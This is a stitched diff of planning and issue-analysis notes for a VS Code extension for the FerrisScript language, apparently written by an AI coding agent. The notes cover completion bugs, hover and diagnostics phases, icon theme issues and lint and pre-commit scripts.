-**Status**: Expected Behavior - Documentation Update Needed
-
-**Description**:
-
-When typing `let is_ready: bool = tr`, only `true` appears in completions. User expected both `true` and `false` to be available.
-
-**Root Cause**:
-
-This is **NOT a bug** - it's correct VS Code behavior. The completion provider correctly returns both `true` and `false`. However, VS Code's built-in completion filtering automatically filters suggestions based on the prefix typed.
-
-When user types `tr`:
-
-- ✅ `true` matches prefix "tr" → shown
-- ❌ `false` does NOT match prefix "tr" → hidden
-
-**Expected Behavior**:
-
-- Type `tr` → see `true`
-- Type `f` or `fa` → see `false`
-- Type nothing or press `Ctrl+Space` → see both
-
-**Recommendation**:
-
-**NO FIX NEEDED** - Update testing documentation to clarify this is expected behavior.
-
-Update `PHASE_4_MANUAL_TESTING.md`:
-
-```markdown
-**Expected Results**:
-
-- [X] `true` appears when typing "tr"
-- [X] `false` appears when typing "f" or "fa"
-- [X] Both appear when pressing Ctrl+Space without typing
-- [X] Both have documentation
-
-**Note**: VS Code automatically filters completions by prefix. Type "tr" to see "true", or "f" to see "false".
-```
-
----
-
-### Issue #3: No Type Completions After Typing Characters (Test 10)
-
-**Severity**: 🔴 HIGH  
-**Status**: BUG - Should Fix
-
-**Description**:
-
-When typing `let pos: V`, no completions appear. Expected `Vector2` to be suggested.
-
-**Root Cause**:
-
-Bug in context detection logic in `src/utils/context.ts`:
-
-```typescript
-if (/:\s*$/.test(beforeCursor)) {
-    return CompletionContext.TypePosition;
-}
-```
-
-This regex `/:\s*$/` only matches if the line **ends with** colon + optional whitespace. When user types `let pos: V`, the line is `let pos: V`, which does NOT match because there's a "V" after the colon.
-
-**Flow**:
-
-1. User types `let pos: V`
-2. Regex test fails (line doesn't end with colon)
-3. Falls through to Expression context
-4. Expression context returns keywords + functions, but **NOT types**
-5. No type completions appear
-
-**Recommendation**:
-
-**FIX** - Update context detection regex to handle partial type names:
-
-```typescript
-// In src/utils/context.ts
-
-// OLD:
-if (/:\s*$/.test(beforeCursor)) {
-    return CompletionContext.TypePosition;
-}
-
-// NEW:
-if (/:\s*\w*$/.test(beforeCursor)) {
-    return CompletionContext.TypePosition;
-}
-```
-
-**Explanation**:
-
-- `\w*` matches zero or more word characters (letters, digits, underscore)
-- This will match:
-  - `let x: |` (colon + space + cursor)
-  - `let x: V|` (colon + space + "V")
-  - `let x: Vec|` (colon + space + "Vec")
-  - `let x: Vector|` (colon + space + "Vector")
-
-**Testing**:
-After fix, test:
-
-1. `let pos: |` → shows types ✅
-2. `let pos: V|` → shows Vector2 ✅
-3. `let pos: i|` → shows i32 ✅
-4. `fn test() -> v|` → shows void ✅
-

-## 📋 Summary & Next Steps
-
-### Issues Summary
-
-| Issue | Severity | Type | Action |
-|-------|----------|------|--------|
-| #1: Statement keywords in expressions | 🟡 MEDIUM | Design/Filter | Fix or Defer |
-| #2: `false` not showing for "tr" | 🟢 LOW | Expected Behavior | Document Only |
-| #3: No type completions after typing | 🔴 HIGH | Bug | Fix Required |
-
-### Recommended Actions
-
-**For v0.0.3 (Before Merge)**:
-
-1. ✅ **Fix Issue #3** (HIGH priority)
-   - Update context detection regex in `src/utils/context.ts`
-   - Change `/:\s*$/` to `/:\s*\w*$/`
-   - Retest Test 10 to verify Vector2 completions work
-   - **Estimated effort**: 5 minutes
-
-2. ✅ **Fix Issue #1** (MEDIUM priority)
-   - Add filtering in `src/completion/provider.ts` Expression case
-   - Filter out statement-level keywords (`fn`, `let`, `while`, `return`)
-   - Retest Test 5 to verify `fn`/`let` don't appear in expressions
-   - **Estimated effort**: 10 minutes
-
-3. ✅ **Update Issue #2 Documentation**
-   - Update Test 7 in `PHASE_4_MANUAL_TESTING.md`
-   - Add note explaining VS Code's prefix filtering behavior
-   - **Estimated effort**: 2 minutes
-
-**Total Estimated Effort**: ~20 minutes
-
-### Can Be Deferred to Post-v0.0.3
-
-If you want to merge Phase 4 quickly:
-
-- **Issue #1** could be deferred if you consider it low priority
-  - Pros: Faster merge
-  - Cons: Less clean completion behavior (statement keywords pollute expression context)
-  - **Recommendation**: Fix it now - it's a 10-minute change
-
-- **Issue #2** requires no code changes, just documentation
-
-- **Issue #3** should NOT be deferred - it breaks basic type completion functionality
-
-### Validation After Fixes
-
-After implementing fixes, re-run manual tests:
-
-```powershell
-# Recompile extension
-cd extensions\vscode
-npm run compile
-
-# Reinstall
-$dest = "$env:USERPROFILE\.vscode\extensions\ferrisscript-0.0.3"
-Remove-Item -Recurse -Force $dest -ErrorAction SilentlyContinue
-Copy-Item -Recurse . $dest -Exclude node_modules,src,out,*.log
-Copy-Item -Recurse out $dest\out
-
-# Reload VS Code (Ctrl+Shift+P → "Reload Window")
-```
-
-Then retest:
-
-- Test 5: Verify `fn`/`let` don't appear in expression context
-- Test 7: Update test documentation (no code changes needed)
-- Test 10: Verify `Vector2` appears when typing `let pos: V`
-
----
-
-## 🎯 Decision Required
-
-**Question for Project Owner**:
-
-Do you want to:
-
-**Option A**: Fix all issues before merging Phase 4 (~20 minutes)
-
-- Pros: Clean, complete implementation
-- Cons: Slight delay
-
-**Option B**: Fix only Issue #3, defer Issue #1
-
-- Pros: Faster merge (5 minutes)
-- Cons: Statement keywords still pollute expression completions
-
-**Option C**: Merge as-is, fix in Phase 5
-
-- Pros: Immediate merge
-- Cons: Type completion broken (Issue #3 is critical)
-
-**Recommendation**: **Option A** - Fix all issues now. Total effort is ~20 minutes, and it ensures Phase 4 is fully functional.

-# Phase 4: VS Code Completion - Execution Plan
-
-**Date**: October 7, 2025  
-**Agent**: GitHub Copilot  
-**Status**: In Progress  
-**Branch**: `feature/v0.0.3-phase-4-completion`  
-**PR**: *(To be created)*
-
----
-
-## 🎯 Context
-
-### Workstream Goal
-
-Add code completion functionality to the FerrisScript VS Code extension, providing IntelliSense-like experience for keywords, types, and built-in functions.
-
-### Strategic Context
-
-- **Version**: v0.0.3 (Editor Experience Alpha)
-- **Phase**: 4 of 9
-- **Dependencies**: None (extension foundation exists from v0.0.2)
-- **Enables**: Phase 5 (hover tooltips and problem panel integration)
-- **Type**: Feature addition to existing VS Code extension
-
-### Prior Work
-
-- ✅ v0.0.2: Basic syntax highlighting and snippets established
-- ✅ Extension structure exists: `extensions/vscode/`
-- ✅ TextMate grammar working: `syntaxes/ferrisscript.tmLanguage.json`
-- ❌ No TypeScript extension code yet (only declarative JSON)
-- ❌ No IntelliSense or completion functionality
-
-### Constraints
-
-- **No LSP yet**: This is a lightweight completion provider, not full LSP (deferred to v0.0.5)
-- **No compiler integration**: Completions are static (keyword lists, type lists)
-- **Simple context awareness**: Based on cursor position and surrounding text patterns
-- **Keep lightweight**: No external dependencies, use VS Code built-in APIs only
-
----
-
-## 📋 Requirements Summary
-
-### Functional Requirements
-
-1. **Keyword Completion**: Complete FerrisScript keywords as user types
-   - Control flow: `if`, `else`, `while`, `return`
-   - Declarations: `fn`, `let`, `mut`
-   - Literals: `true`, `false`
-
-2. **Type Completion**: Complete type names in type position contexts
-   - Primitives: `i32`, `f32`, `bool`, `String`
-   - Godot types: `Vector2`, `Node`, `void`
-
-3. **Function Completion**: Complete built-in function names
-   - `print` with parameter hint `(message: String)`
-
-4. **Context-Aware Triggering**: Show relevant completions based on cursor context
-   - After `:` → Show type completions
-   - At statement start → Show `let`, `fn`, `if`, `while`, `return`
-   - In expression context → Show all keywords + functions
-
-### Non-Functional Requirements
-
-- **Performance**: Completion suggestions appear within 50ms
-- **Accuracy**: Only show contextually relevant completions
-- **UX**: Include descriptions and documentation for each completion item
-- **Maintainability**: Completions defined in structured data (easy to extend)
-
-### Out of Scope (Deferred to v0.0.5 LSP)
-
-- ❌ Variable/function name completion (requires symbol table)
-- ❌ Smart type inference (requires type checker integration)
-- ❌ Go-to-definition
-- ❌ Find references
-- ❌ Rename refactoring
-

-### Key Components
-
-#### 1. Extension Activation
-
-**File**: `src/extension.ts`
-
-```typescript
-import * as vscode from 'vscode';
-import { FerrisScriptCompletionProvider } from './completion/provider';
-
-export function activate(context: vscode.ExtensionContext) {
-    const provider = new FerrisScriptCompletionProvider();
-    
-    const disposable = vscode.languages.registerCompletionItemProvider(
-        { scheme: 'file', language: 'ferrisscript' },
-        provider,
-        '.', // Trigger on dot for member access (future)
-        ':' // Trigger on colon for type hints
-    );
-    
-    context.subscriptions.push(disposable);
-}
-
-export function deactivate() {}
-```
-
-#### 2. Completion Provider
-
-**File**: `src/completion/provider.ts`
-
-```typescript
-import * as vscode from 'vscode';
-import { getKeywordCompletions } from './keywords';
-import { getTypeCompletions } from './types';
-import { getFunctionCompletions } from './functions';
-import { detectContext, CompletionContext } from '../utils/context';
-
-export class FerrisScriptCompletionProvider implements vscode.CompletionItemProvider {
-    provideCompletionItems(
-        document: vscode.TextDocument,
-        position: vscode.Position,
-        token: vscode.CancellationToken,
-        context: vscode.CompletionContext
-    ): vscode.ProviderResult<vscode.CompletionItem[] | vscode.CompletionList> {
-        const ctx = detectContext(document, position);
-        
-        switch (ctx) {
-            case CompletionContext.TypePosition:
-                return getTypeCompletions();
-            case CompletionContext.StatementStart:
-                return getKeywordCompletions(true); // Statement-level keywords only
-            case CompletionContext.Expression:
-                return [
-                    ...getKeywordCompletions(false), // All keywords
-                    ...getFunctionCompletions()
-                ];
-            default:
-                return [];
-        }
-    }
-}
-```
-
-#### 3. Keyword Completions
-
-**File**: `src/completion/keywords.ts`
-
-```typescript
-import * as vscode from 'vscode';
-
-interface KeywordData {
-    label: string;
-    detail: string;
-    documentation: string;
-    insertText: string;
-    statementLevel: boolean;
-}
-
-const KEYWORDS: KeywordData[] = [
-    {
-        label: 'fn',
-        detail: 'function declaration',
-        documentation: 'Declares a new function\n\nExample:\nfn my_function(param: i32) -> i32 {\n    return param + 1;\n}',
-        insertText: 'fn ${1:name}($2) {\n    $0\n}',
-        statementLevel: true
-    },
-    {
-        label: 'let',
-        detail: 'variable declaration',
-        documentation: 'Declares an immutable variable\n\nExample:\nlet x: i32 = 42;',
-        insertText: 'let ${1:name}: ${2:i32} = $0;',
-        statementLevel: true
-    },
-    // ... more keywords
-];
-
-export function getKeywordCompletions(statementLevelOnly: boolean): vscode.CompletionItem[] {
-    const filtered = statementLevelOnly 
-        ? KEYWORDS.filter(k => k.statementLevel)
-        : KEYWORDS;
-    
-    return filtered.map(kw => {
-        const item = new vscode.CompletionItem(kw.label, vscode.CompletionItemKind.Keyword);
-        item.detail = kw.detail;
-        item.documentation = new vscode.MarkdownString(kw.documentation);
-        item.insertText = new vscode.SnippetString(kw.insertText);
-        return item;
-    });
-}
-```
-
-#### 4. Context Detection
-
-**File**: `src/utils/context.ts`
-
-```typescript
-import * as vscode from 'vscode';
-
-export enum CompletionContext {
-    TypePosition,      // After `: ` in declarations
-    StatementStart,    // At start of line (after whitespace)
-    Expression,        // Inside expression context
-    Unknown
-}
-
-export function detectContext(
-    document: vscode.TextDocument,
-    position: vscode.Position
-): CompletionContext {
-    const line = document.lineAt(position.line).text;
-    const beforeCursor = line.substring(0, position.character);
-    
-    // Type position: "let x: |" or "fn foo(param: |"
-    if (/:\s*$/.test(beforeCursor)) {
-        return CompletionContext.TypePosition;
-    }
-    
-    // Statement start: "    |" (only whitespace before cursor)
-    if (/^\s*$/.test(beforeCursor)) {
-        return CompletionContext.StatementStart;
-    }
-    
-    // Default to expression context
-    return CompletionContext.Expression;
-}
-```
-
-### Activation Events
-
-**Update**: `package.json`
-
-```json
-{
-  "activationEvents": [
-    "onLanguage:ferrisscript"
-  ],
-  "main": "./out/extension.js",
-  "scripts": {
-    "vscode:prepublish": "npm run compile",

-
-**Given**: User types `let x:` in editor  
-**When**: User triggers completion (Ctrl+Space) or types  
-**Then**: Only type completions shown (i32, f32, bool, String, Vector2, Node, void)
-
-**Evidence**: Manual testing with type declarations
-
----
-
-### Criterion 3: Function Completion Shows Parameters
-
-**Given**: User types `p` in expression context  
-**When**: User selects `print` completion  
-**Then**: Snippet expands to `print($0)` with cursor inside parentheses
-
-**Evidence**: Manual testing with function calls
-
----
-
-### Criterion 4: Completion Descriptions Helpful
-
-**Given**: User hovers over completion suggestion  
-**When**: Completion item is focused  
-**Then**: Shows detail (e.g., "variable declaration") and documentation with examples
-
-**Evidence**: Manual inspection of completion items
-
----
-
-### Criterion 5: No Errors in Extension Host
-
-**Given**: Extension is activated  
-**When**: User interacts with completions  
-**Then**: No errors logged in VS Code Extension Host output panel
-
-**Evidence**: Check "Developer: Show Logs... → Extension Host"
-
----
-

-
-**Evidence**: CI-like local build check
-
----
-
-## 🧪 Test Strategy
-
-### Manual Testing Checklist
-
-- [ ] **Keyword Completion**:
-  - [ ] Type `l` → suggests `let` and `let mut`
-  - [ ] Type `f` at statement start → suggests `fn`
-  - [ ] Type `i` at statement start → suggests `if`
-  - [ ] Type `w` at statement start → suggests `while`
-  - [ ] Type `r` → suggests `return`
-
-- [ ] **Type Completion**:
-  - [ ] Type `let x:` → suggests only types (i32, f32, bool, String, Vector2, Node, void)
-  - [ ] Type `fn foo() ->` → suggests return types
-  - [ ] Type `fn bar(param:` → suggests parameter types
-
-- [ ] **Function Completion**:
-  - [ ] Type `p` in function body → suggests `print`
-  - [ ] Select `print` → expands to `print($0)` with cursor positioned
-
-- [ ] **Context Awareness**:
-  - [ ] Completions at statement start don't show expression-only keywords
-  - [ ] Type context doesn't show keywords
-  - [ ] Expression context shows full range
-
-- [ ] **Documentation Quality**:
-  - [ ] Each completion shows helpful detail text
-  - [ ] Markdown documentation renders correctly
-  - [ ] Examples in documentation are accurate
-
-### Automated Testing
-
-⚠️ **Limitation**: VS Code extension testing requires complex setup. For Phase 4, we'll rely on:
-
-- Manual testing (checklist above)

----
-
-## 📊 Estimated Effort
-
-**Complexity**: Medium  
-**Total Effort**: 6-8 hours
-
-**Breakdown**:
-
-- Phase 4A (Infrastructure): 1-2 hours
-- Phase 4B (Keywords): 1 hour
-- Phase 4C (Types): 0.5 hours
-- Phase 4D (Functions): 0.5 hours
-- Phase 4E (Context): 1-2 hours
-- Phase 4F (Docs/Testing): 1-2 hours
-- Phase 4G (Roadmap): 0.5 hours
-
-**Risk Factors**:
-
-- ⚠️ First time adding TypeScript to extension (learning curve)
-- ⚠️ VS Code API unfamiliarity (may need API documentation lookups)
-- ✅ Well-defined scope (no LSP complexity)
-- ✅ Manual testing sufficient (no automated test infrastructure needed)
-
----
-
-## 🔗 Dependencies
-
-### Prerequisites
-
-- ✅ v0.0.2 extension structure exists
-- ✅ Syntax highlighting working
-- ✅ Language configuration in place
-
-### Enables
-
-- Phase 5: Hover tooltips (uses similar provider pattern)
-- Phase 5: Problem panel integration (diagnostics provider)
-- Future: LSP migration (completion provider → LSP completion)
-
-### No Blockers
-
-- Can proceed immediately (all prerequisites met)
-- Does not depend on Phases 1-3 (error system independent)
-
----
-
-## 📝 Assumptions
-
-⚠️ **ASSUMPTION 1**: Users will install Node.js and npm to build the extension  
-**Reasoning**: Standard for VS Code extension development
-
-⚠️ **ASSUMPTION 2**: TypeScript 5.x compatible with VS Code 1.75.0+  
-**Reasoning**: VS Code extension API stable, TypeScript backward compatible
-
-⚠️ **ASSUMPTION 3**: Context detection using regex patterns sufficient for v0.0.3  
-**Reasoning**: Full parsing deferred to LSP in v0.0.5, regex adequate for basic patterns
-
-⚠️ **ASSUMPTION 4**: Manual testing adequate for Phase 4 validation  
-**Reasoning**: Automated extension testing complex, not worth setup for simple completion provider
-
-⚠️ **ASSUMPTION 5**: Completion provider pattern won't need refactoring for LSP  
-**Reasoning**: VS Code's CompletionItemProvider can coexist with LSP or be replaced cleanly
-

-## 🎓 Key Lessons Learned
-
-### Icon Theme Architecture
-
-**Discovery**: VS Code icon themes are complete replacements, not augmentations.
-
-**Impact**: Cannot add single file icon without defining 100+ file types.
-
-**Decision**: Removed icon theme feature (follows best practices of other language extensions).
-
-**Documentation**: Comprehensive analysis in `docs/LEARNINGS.md`.
-
-### VSIX Packaging
-
-**Discovery**: Extensions require proper `activationEvents` and `.vscodeignore` configuration.
-
-**Solution**: Added activation events, fixed ignore rules, included icon and license.
-
-### CLI Dependency
-
-**Discovery**: FerrisScript has no standalone CLI executable.
-
-**Impact**: Diagnostic features cannot work until CLI is implemented.
-
-**Decision**: Documented limitation, kept infrastructure in place for future.

-# Phase 5: Issues Found & Fixes Applied
-
-**Date**: October 7, 2025  
-**Testing Round**: Initial Manual Testing  
-**Tester**: User  
-**Status**: Issues Fixed ✅
-
----
-
-## 🐛 Issues Found
-
-### Issue 1: File Icon Applied to All File Types ❌
-
-**Severity**: Medium  
-**Test Case**: File Icon Display (implied by screenshot)  
-**Reporter**: User
-
-**Problem**:
-
-- File icon theme applied FerrisScript icon to **all** file types, not just `.ferris` files
-- Screenshot showed all files in explorer with FerrisScript crab icon
-- Disabling the icon theme reverted files to normal icons
-
-**Root Cause**:
-
-- Icon theme JSON had incorrect configuration
-- Line `"file": "ferrisscript-file"` set default icon for ALL files
-- Should only map `.ferris` extension to custom icon
-
-**Fix Applied**:
-
-```json
-// BEFORE (incorrect)
-{
-  "iconDefinitions": { ... },
-  "fileExtensions": {
-    "ferris": "ferrisscript-file"
-  },
-  "file": "ferrisscript-file"  // ❌ This applies to ALL files!
-}
-
-// AFTER (correct)
-{
-  "iconDefinitions": { ... },
-  "fileExtensions": {
-    "ferris": "ferrisscript-file"
-  }
-  // ✅ Removed "file" property
-}
-```
-
-**Files Modified**:
-
-- `extensions/vscode/resources/icons/ferrisscript-icon-theme.json`
-
-**Verification**:
-
-- Recompile extension: `npm run compile`
-- Reload VS Code window
-- Check file explorer - only `.ferris` files should have custom icon
-
----
-
-### Issue 2: Diagnostic Tests Failing (Tests 8-10) ❌
-
-**Severity**: High  
-**Test Cases**: Tests 8-10 (Problem Panel Integration)  
-**Reporter**: User
-
-**Problem**:
-
-- Problem panel not showing any errors when saving `.ferris` files with errors
-- No inline red squiggles appearing
-- Diagnostic provider silently failing
-
-**Root Cause**:
-
-- **FerrisScript has no standalone CLI executable**
-- Project structure shows only library crates:
-  - `crates/compiler` - library only (no `[[bin]]` target)
-  - `crates/runtime` - library only
-  - `crates/godot_bind` - DLL for Godot integration
-- Diagnostic provider tried to find and execute `ferrisscript` binary, but none exists
-- No executable in `target/debug/` or `target/release/`
-- Not in PATH (correctly, because it doesn't exist)
-
-**Fix Applied**:
-
-1. **Graceful Degradation**: Updated diagnostic provider to handle missing compiler silently
-2. **Better Logging**: Added console logging to diagnose compiler detection
-3. **Documentation Updates**:
-   - Marked Tests 8-11 as "Not Testable (CLI not implemented)"
-   - Updated Test 12 to verify graceful degradation (now passes)
-   - Added ⚠️ warnings in testing guide about CLI requirement
-   - Updated extension README with limitation notice
-
-**Files Modified**:
-
-- `extensions/vscode/src/diagnostics/provider.ts`
-  - Fixed `runCompiler()` method to better capture stderr/stdout
-  - Removed notification spam, added console logging
-  - Improved error handling
-- `docs/planning/v0.0.3/PHASE_5_MANUAL_TESTING.md`
-  - Updated setup instructions (removed "verify compiler available")
-  - Marked Tests 8-11 as "Not Testable"
-  - Updated Test 12 as verification that graceful degradation works
-- `extensions/vscode/README.md`
-  - Added ⚠️ note that diagnostics require CLI
-
-**Current State**:
-
-- Diagnostic provider infrastructure is **complete and ready**
-- Will work immediately once CLI is implemented
-- Extension functions normally without CLI (hover, completion work)
-
----
-
-### Issue 3: Testing Documentation Incorrect ⚠️
-
-**Severity**: Low  
-**Test Cases**: Setup Instructions  
-**Reporter**: User
-
-**Problem**:
-
-- Testing guide instructed user to verify `ferrisscript --version` works
-- This command doesn't exist (no CLI binary)
-- User couldn't proceed with diagnostic tests
-
-**Fix Applied**:
-
-- Updated setup instructions in PHASE_5_MANUAL_TESTING.md
-- Removed requirement to verify compiler
-- Added note explaining CLI doesn't exist yet
-- Marked diagnostic tests as skippable
-
-**Files Modified**:
-
-- `docs/planning/v0.0.3/PHASE_5_MANUAL_TESTING.md`

-## 🔄 Next Steps
-
-### For User - Immediate Testing
-
-1. **Reload VS Code Extension**:
-
-   ```bash
-   cd extensions/vscode
-   npm run compile
-   ```
-
-   Then reload VS Code window (Ctrl+Shift+P → "Reload Window")
-
-2. **Verify Icon Fix**:
-   - Check file explorer
-   - Only `.ferris` files should have crab icon
-   - Other files (`.md`, `.ts`, etc.) should have default icons
-
-3. **Verify Graceful Degradation**:
-   - Open `.ferris` file
-   - Hover should still work
-   - Completion should still work
-   - No error messages or crashes
-
-4. **Update Test Results**:
-   - Mark Tests 8-11 as "N/A - Requires CLI"
-   - Mark Test 12 as "Pass - Graceful degradation works"
-   - Retest icon display (Test 13)
-
-### For Future Work - CLI Implementation
-
-**Task**: Create standalone FerrisScript CLI binary
-
-**Requirements**:
-
-1. Add `[[bin]]` section to `crates/compiler/Cargo.toml`
-2. Create `crates/compiler/src/bin/ferrisscript.rs`
-3. Implement CLI that:
-   - Accepts file path as argument
-   - Compiles file and outputs errors to stderr
-   - Uses FerrisScript error format: `Error[E###]: message --> file:line:col`
-   - Returns non-zero exit code on errors
-4. Build with `cargo build --bin ferrisscript`
-
-**Diagnostic Provider Impact**:
-
-- No changes needed to diagnostic provider code
-- Will automatically detect CLI once built
-- Will immediately start showing errors in problem panel

-- Problem panel integration (error diagnostics)
-- File icons
-
-**Testing Approach**: Manual testing with clear expected results for each test case.
-
----
-
-## ⚙️ Setup Instructions
-
-### Prerequisites
-
-1. **Build Extension**:
-
-   ```bash
-   cd extensions/vscode
-   npm run compile

-## 🐛 Issues Found
-
-### Issue 1: Icon Theme Misunderstanding (RESOLVED - Feature Removed)
-
-**Test Case**: Test 13 - File Icon Display  
-**Description**: Icon theme replaced ALL file icons, not just .ferris files  
-**Severity**: High → Resolved by removing feature  
-**Expected**: Only `.ferris` files show crab icon, other files show default icons  
-**Actual**: Icon theme is a complete replacement - must define icons for ALL file types  
-**Root Cause**: Fundamental misunderstanding of VS Code icon theme system  
-**Resolution**: Removed `iconThemes` contribution from package.json  
-**Rationale**:
-
-- Icon themes are complete icon sets (like Seti, Material Icons)
-- Cannot add single file icon without defining hundreds of file types
-- Language extensions typically don't ship icon themes
-- File icons are optional polish, not core functionality
-**Status**: Feature removed, documentation updated
-
----
-
-### Issue 2: Diagnostic Features Not Functional
-
-**Test Case**: Tests 8-11 - Problem Panel Integration  
-**Description**: Diagnostic features cannot work because no CLI executable exists  
-**Severity**: Low (Expected limitation)  
-**Expected**: Diagnostic provider infrastructure in place but inactive  
-**Actual**: Working as expected - graceful degradation  
-**Root Cause**: FerrisScript project has no `[[bin]]` target in Cargo.toml  
-**Fix**: Documented as known limitation, CLI implementation planned for future  
-**Status**: Accepted - infrastructure ready for when CLI is added
-
----

-
-## 📝 Additional Notes
-
-### Testing Observations
-
-**Hover Features**: Excellent! All hover tooltips work perfectly. The Markdown formatting looks professional, response time is fast (~50ms), and content is helpful and accurate.
-
-**Icon Theme**: The code fix is correct (removed `"file"` property from JSON), but VS Code is caching the old configuration. This is a known VS Code behavior - icon themes are aggressively cached. See `ICON_THEME_FIX_VERIFICATION.md` for cache clearing steps.
-
-**Diagnostic Features**: As expected, diagnostic features don't work because there's no CLI executable. The diagnostic provider code is solid and ready - it just needs a `ferrisscript` binary to call. The extension handles this gracefully (no crashes, no error spam).
-
-**Performance**: Hover response is snappy, extension loads quickly, no lag or slowdown observed during testing.
-
-### Recommendations
-
-1. **Icon Cache Issue**: Document cache clearing steps in user-facing README
-2. **CLI Implementation**: Consider adding CLI as a high-priority task for next phase
-3. **Testing Process**: Future phases should test in Extension Development Host (F5) for clean state
-4. **Documentation**: Current limitation documentation is clear and helpful
-
-### Phase 5 Success Metrics
-
-- ✅ Hover features: 100% working (all 9 keywords, 7 types, 1 function)
-- ⏳ Diagnostic features: Infrastructure complete, awaiting CLI
-- ⚠️ Icon theme: Code correct, VS Code cache issue (user-solvable)
-- ✅ Extension quality: Professional, stable, performant
-
-**Overall Assessment**: Phase 5 implementation is solid. Core hover features fully functional. Icon theme fix is correct but requires cache clear. Diagnostic infrastructure ready for future CLI.
-

----
-
-## 🐛 Issues Resolved
-
-### Issue 1: Icon Theme Misunderstanding ✅ Resolved
-
-**Problem**: Icon theme replaced ALL file icons, not just `.ferris` files
-
-**Root Cause**: Fundamental misunderstanding of VS Code icon system
-
-- Icon themes are **complete replacements** for all file icons (like Seti, Material Icons)
-- Cannot add single file icon without defining icons for 100+ file types
-- When selected, replaces ALL file icons in VS Code
-
-**Resolution**: Removed `iconThemes` contribution from `package.json`
-
-- Language extensions typically don't ship icon themes
-- File icons are optional polish, not core functionality
-- Users keep their preferred icon theme (Seti, Material Icons, etc.)
-
-**Documentation**: Created `docs/LEARNINGS.md` with detailed analysis
-
-**Impact**: `.ferris` files use default file icon (same as Rust, Python, Julia extensions)
-
-### Issue 2: VSIX Packaging Errors ✅ Resolved
-
-**Problem**: `vsce package` failed with missing `activationEvents` error
-
-**Root Cause**: `package.json` missing required fields for TypeScript extensions
-
-**Resolution**:
-
-- Added `activationEvents: ["workspaceContains:**/*.ferris"]`
-- Fixed `.vscodeignore` to ship compiled JS (`out/`) not source (`src/`)
-- Added `icon.png` and `LICENSE` files
-
-**Impact**: Extension now packages successfully as VSIX
-
-### Issue 3: Diagnostic Tests Failing ✅ Expected Behavior
-
-**Problem**: Diagnostic features not working during testing
-
-**Root Cause**: FerrisScript has no standalone CLI executable
-
-- Project only builds library crates (`compiler`, `runtime`, `godot_bind`)
-- No `[[bin]]` target in `Cargo.toml`
-
-**Resolution**: Documented as known limitation
-
-- Diagnostic provider infrastructure is complete
-- Will work immediately once CLI is implemented
-- Extension handles missing compiler gracefully (no crashes)
-
-**Documentation**: Updated `PHASE_5_MANUAL_TESTING.md` and `README.md`

-# Phase 5: VS Code Hover & Problem Panel - Execution Plan
-
-**Date**: October 7, 2025  
-**Agent**: GitHub Copilot  
-**Status**: In Progress  
-**Branch**: `feature/v0.0.3-phase-5-hover`  
-**PR**: *(To be created)*
-
----
-
-## 🎯 Context
-
-### Workstream Goal
-
-Add hover tooltips and problem panel integration to the FerrisScript VS Code extension, providing IDE-like experience without full LSP implementation.
-
-### Strategic Context
-
-- **Version**: v0.0.3 (Editor Experience Alpha)
-- **Phase**: 5 of 9
-- **Dependencies**: Phase 4 (completion infrastructure) ✅
-- **Enables**: Phase 6 (development scripts), prepares for Phase 9 (LSP foundation)
-- **Type**: Feature addition to existing VS Code extension
-
-### Prior Work
-
-- ✅ Phase 4: Code completion provider with context detection
-- ✅ TypeScript extension infrastructure established

-- ✅ Improves developer experience for Phase 6-8
-- ✅ Marketplace readiness for public release
-
----
-
-## 📝 Notes
-
-### Applying Phase 4 Learnings
-
-Based on [PHASE_4_LESSONS_LEARNED.md](./PHASE_4_LESSONS_LEARNED.md):
-
-1. **Create testing documentation upfront**: PHASE_5_MANUAL_TESTING.md before implementation
-2. **Use context detection testing matrix**: Apply template from CONTEXT_DETECTION_TESTING.md
-3. **Document VS Code behavior**: Follow pattern from PREFIX_FILTERING_BEHAVIOR.md for any non-obvious behavior
-4. **Structured testing approach**: Use checklist format with clear expected results
-5. **Document issues before fixing**: If bugs found, create analysis document first
-
-### Simplified Approach (No LSP)
-
-Phase 5 uses lightweight VS Code APIs without full LSP:
-
-- **HoverProvider**: Simple interface, no protocol overhead
-- **DiagnosticCollection**: VS Code built-in API for problem panel
-- **No Language Server**: Compiler called on save, not real-time
-- **Static Content**: Hover content is pre-defined, not inferred from code
-
-This approach is intentional for v0.0.3. Full LSP comes in v0.0.5 with:
-
-- Real-time compilation and diagnostics
-- Type inference for hover content
-- Go-to-definition and find references
-- Advanced quick fixes and refactoring
-
----
-
-## 🚀 Ready to Execute
-
-This execution plan is ready for implementation. Follow phases 5A-5I systematically, updating this document with completion status as work progresses.
-
-**Next Step**: Create feature branch and begin Phase 5A (Hover Provider Infrastructure).

-- Phase 6 discovered to be 80% complete (test, bench, format, coverage scripts already exist)
-- Phase 7 infrastructure exists (benchmarks written, baseline documented)
-- Only missing: lint script, pre-commit hooks, CI integration
-- Combined effort: ~1 day vs original 4-5 days (80% reduction)
-
-**Strategic Context**: This completes the final critical tooling prerequisite for v0.1.0. After this phase, v0.0.3 will have:
-
-- ✅ Enhanced error diagnostics (Phases 1-3)

-
-**Bash** (`scripts/lint.sh`):
-
-```bash
-#!/usr/bin/env bash
-# FerrisScript Linting (Bash)
-# Runs cargo clippy with strict warnings
-
-set -e
-
-echo "=========================================="
-echo "FerrisScript Linting (Clippy)"

-cargo clippy --workspace --all-targets --all-features -- -D warnings
-
-echo ""
-echo "=========================================="
-echo "✅ All linting checks passed!"
-echo "=========================================="
-```
-
-**Verification**:
-
-- Run `./scripts/lint.ps1` on Windows
-- Run `./scripts/lint.sh` on Linux/macOS (if available)
-- Verify zero warnings on clean codebase
-- Introduce a warning and verify script catches it
-
----
-
-#### 1.2 Create Pre-commit Hooks (1 hour)
-
-**Approach**: Use Git's `pre-commit` hook mechanism. Create hook that runs format, lint, and quick tests.
-
-**Hook Location**: `.git/hooks/pre-commit` (created by install script)
-
-**Pre-commit Hook** (`.git/hooks/pre-commit`):
-
-```bash
-#!/usr/bin/env bash
-# FerrisScript pre-commit hook
-# Runs format check, linting, and quick tests before allowing commit
-
-set -e
-
-echo "🔍 Running pre-commit checks..."
-echo ""
-
-# 1. Format check
-echo "Checking code formatting..."
-cargo fmt --check
-if [ $? -ne 0 ]; then
-    echo "❌ Code formatting check failed!"
-    echo "Run 'cargo fmt' or './scripts/format.sh' to fix formatting."
-    exit 1
-fi
-echo "✅ Formatting OK"
-echo ""
-
-# 2. Clippy linting
-echo "Running clippy linting..."
-cargo clippy --workspace --all-targets -- -D warnings
-if [ $? -ne 0 ]; then
-    echo "❌ Linting failed!"
-    echo "Fix clippy warnings above or run './scripts/lint.sh' for details."
-    exit 1
-fi
-echo "✅ Linting OK"
-echo ""
-
